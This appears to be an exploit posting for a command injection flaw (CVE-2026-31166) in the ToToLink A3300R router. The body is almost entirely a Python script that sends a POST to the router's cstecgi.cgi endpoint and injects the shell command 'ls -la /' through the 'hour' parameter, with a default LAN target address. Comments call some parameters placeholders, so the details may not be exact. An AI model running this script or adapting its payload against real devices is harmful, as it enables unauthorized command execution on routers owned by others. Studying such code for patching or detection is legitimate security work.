CVE-2026-31166 ToToLink A3300R 命令注入漏洞

import requests def exploit(target_ip): url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Injecting a command to list files, typically the payload format depends on the specific firmware logic # Common payload for command injection includes ';' or '|' or '&' payload = "; ls -la /" # Data payload based on the vulnerability description mentioning 'hour' parameter data = { "hour": payload, "action": "0" # Placeholder action, might vary based on specific endpoint requirement } try: response = requests.post(url, headers=headers, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {target_ip}") print(f"[+] Response body:\n{response.text}") else: print(f"[-] Failed, status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with target IP exploit(target)